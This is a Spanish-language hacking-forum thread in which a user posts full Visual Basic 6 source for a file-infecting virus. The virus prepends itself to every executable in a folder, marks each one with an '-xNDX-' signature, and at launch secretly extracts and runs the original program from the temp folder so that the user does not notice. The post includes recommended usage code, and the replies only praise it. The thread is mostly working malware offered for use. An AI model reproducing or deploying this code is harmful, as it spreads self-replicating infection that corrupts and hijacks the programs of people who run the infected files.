Despues de un tiempo de descanso estuve revisando uno que otro post, concretamente en RAT de raurl y vi una opción de infectar un exe y detectar si se ha infectado y me dije como se podra hacer eso automaticamente???
Y despues de dos dias de trabajo (me tarde buscando APIs) lo logre
Lo he hecho en un Modulo Bas tiene 5 funciones (3 privadas las otras dos son dependiente de..)
Una es Buscar y la otra Inicio
La función buscar infectará TODOS los archivos que se encuentren en la carpeta que ustedes seleccionen por codigo
Les digo lo he probado funciona bien pero no lo intenten en su computadora real usen virtual!
Les he advertido
La función Inicio revisa si el ejecutable ya esta infectado


Explicando un poco lo que hace....
Cuando llamamos la Funcion buscar y encuentra una coincidencia llama a otra funcion llamada Infectar ( ) esta abre binariamente el ejecutablee Victima y el Agresor combinandolos en uno solo dividiendolos por una firma (como un crypter o un binder) cuando ese nuevo archivo ese ejecutable la función inicio es llamada y busca esa firma luego divide el archivo en dos ejecutandolos, sin que el Usuario lo detecte

Les presento el Modulo

Código: Seleccionar todo

'-----------------------------ADVERTENCIA------------------------
'Este codigo a sido escrito por xNeoDarkx a excepcion de la funció Buscar archivos y EliminarNull
'que se ha conseguido y posteriormente modificado de www.recursosvisualbasic.com.ar
'El Autor no se hace responsable por daños hechos a computadoras ajenas
'Pues este codigo es extremadamente peligroso
'Creado para Indetectables.Net
'Atte: xNeoDarkx


'Declaración de las funciones Api para buscar archivos en el sistema
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'Constantes para la búsqueda que utiliza las funciones Api anteriores
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Dim Direc() As String
Dim Total As Integer

'Estructura que utiliza la estructura WIN32_FIND_DATA
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

'Estructura WIN32_FIND_DATA para info de archivos
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Public Enum EXT
EXE = 0
BAT = 1
COM = 2
End Enum


''''''''''''''''''''''''''''''''''''''''''''''''''''''

'Función que elimina los caracteres nulos en los path devueltos
Private Function EliminarNull(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, InStr(OriginalStr, Chr(0)) - 1)
End If
EliminarNull = OriginalStr
End Function

'Función que busca y lista los ficheros
Public Function Buscar(Path As String, Extension As EXT)
Dim FileName As String ' nombre de Archivos
Dim DirName As String ' Subdirectorios
Dim hSearch As Long ' Handle de busqueda
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
Dim TipoExt As String

Select Case Exten
    Case EXE
    TipoExt = "*.exe"
    Case BAT
    TipoExt = "*.bat"
    Case COM
    TipoExt = "*.com"
End Select

'si no tiene la barra separadora de path se la ponemos
If Right(Path, 1) <> "\" Then Path = Path & "\"
'Esta variable es para saber cuando buscamos _
con el Api si hay un archivo, si en el bucle ya _
no encuentra mas, la Api devuelve un 0
Cont = True
'Buscamos el primer archivo o directorio del Path
hSearch = FindFirstFile(Path & TipoExt, WFD)
'Si no hay nada el handle de busqueda vale -1
If hSearch <> INVALID_HANDLE_VALUE Then
'Mientras Cont valga 1 seguirá buscando ya que hay archivos o directorios
Do While Cont
DirName = EliminarNull(WFD.cFileName)
' ignoramos los "." y ".."
If (DirName <> ".") And (DirName <> "..") Then
' Si es un directorio
If GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_DIRECTORY Then
Total = Total + 1
Direc(Total) = DirName
ElseIf GetFileAttributes(Path & DirName) = FILE_ATTRIBUTE_ARCHIVE Then
If Path & DirName <> App.Path & "\" & App.EXEName & ".exe" Then
If Infected(Path & DirName) = False Then
Call Infectar(App.Path & "\" & App.EXEName & ".exe", Path & DirName)
'MsgBox "Infectado"
End If
End If
End If
End If
'Siguiente archivo o directorio
Cont = FindNextFile(hSearch, WFD) 'Get next subdirectory.
Loop
'Cerramos el handle de búsqueda
Cont = FindClose(hSearch)
End If

End Function


Private Function Infectar(Infecta As String, File As String)
Dim xXx As String
Dim Bn As String
Dim F
F = FreeFile

Open Infecta For Binary As #2
xXx = Space(LOF(2))
Get #2, , xXx
Close #2

Open File For Binary As #1
Bn = Space(LOF(1))
Get #1, , Bn
Close #1
Kill File

Open File For Binary As #8
Put #8, , xXx & "-xNDX-" & Bn
Close #8

End Function

Private Function Infected(File As String) As Boolean
Dim Infect As String
Open File For Binary As #3
    Infect = Space(LOF(3))
    Get #3, , Infect
Close #3
If InStr(Infect, "-xNDX-") Then
Infected = True
Else
Infected = False
End If
End Function

Public Function Inicio(Optional ByVal Form As Form)
On Error GoTo Err_Handle
Dim MyCode As String
Dim File() As String
Dim Yo As String
Yo = App.Path & "\" & App.EXEName & ".exe"
If Infected(Yo) = True Then
Open Yo For Binary As #1
    MyCode = Space(LOF(1))
'MyCode = Input(LOF(1), 1)
    Get #1, , MyCode
Close #1

File() = Split(MyCode, "-xNDX-")
Dim TmpFile As String
Dim TempFile As String

Randomize
TmpFile = Environ("TMP") & "\" & CInt((Rnd * 9999) + 1) & ".exe"

'Open Environ("Temp") & App.EXEName & ".exe" For Binary As #F
'Put #F, , File(1)
'Close #F
Open TmpFile For Binary As #5
    Put #5, , File(1)
Close #5
'Open Environ("Temp") & App.EXEName & "(2).exe" For Binary As #F
'Put #F, , File(0)
'Close #F

Call ShellExecute(Form.hwnd, "Open", TmpFile, "", "", 1)

End If
Err_Handle:
Exit Function
End Function
Les recomiendo que su uso se haga asi: (Por ser mas eficiente que otros xD)

Código: Seleccionar todo

Private Sub Form_Initialize()
Call Inicio(Me)
End Sub

Private Sub Form_Load()
Call Buscar(App.Path, EXE)
End Sub
En lugar de App.Path pueden escribir la ruta de la carpeta donde se deseen infectar ejecutables
En lugar de EXE se puede seleccionar BAT o COM pero les recomiendo que dejen esa parte asi

Espero les Guste
Saludos!
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
muy bueno amigo. un gran trabajo gracias por este aporte...

PD: esto va en "fuentes y textos de programación" fíjate que allí se pone todos los sources, módulos etc... te lo muevo bro

SALUDOS!!
Soy un camaleón, en tu cama, leona ♪
Lo siento es que lo hice tan rapido que no me di cuenta
Es que aun tengo la emocion de sentirme realizado xD
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Indenta un poco el código para comprenderlo mejor.

Saludos y gracias.
Imagen

Imagen

Imagen

"The only thing they can't take from us are our minds."
No te entendi pero si lo que quieres es que lo explique dimelo xD sin no tambien dimelo xD
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Ahora lo hago tengo ese defecto al igual que nunca comento el codigo xD se me hace una perdida de tiempo xD pero intentare indentarlo
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
pensaba que te habias equivocado al escribir lo de indenta ..... jajaj gracias por lo de wikipedia
y excelente CODIGOOO muy bueno siii
En 1º en 2º o en 3º BETICO hasta que muera
esta muy bueno el codigo.

mas o menos sirve para infectar un ejecutable con otro
excelente brother
Gracias
slandg escribió:esta muy bueno el codigo.

mas o menos sirve para infectar un ejecutable con otro
excelente brother
Y exactamene sirve para eso
We do what we must, because, we can-> [www.youtube.com/watch?v=Y6ljFaKRTrI]
Pasa a saludar: NeoDark-Labs.BlogSpot.mx
<<<<Proyectos en curso>>>>
[+]Restauración de SSDT
[+]Driver v3 - Ocultar drivers
[+]Anti-rootkit
Responder

Volver a “Otros lenguajes”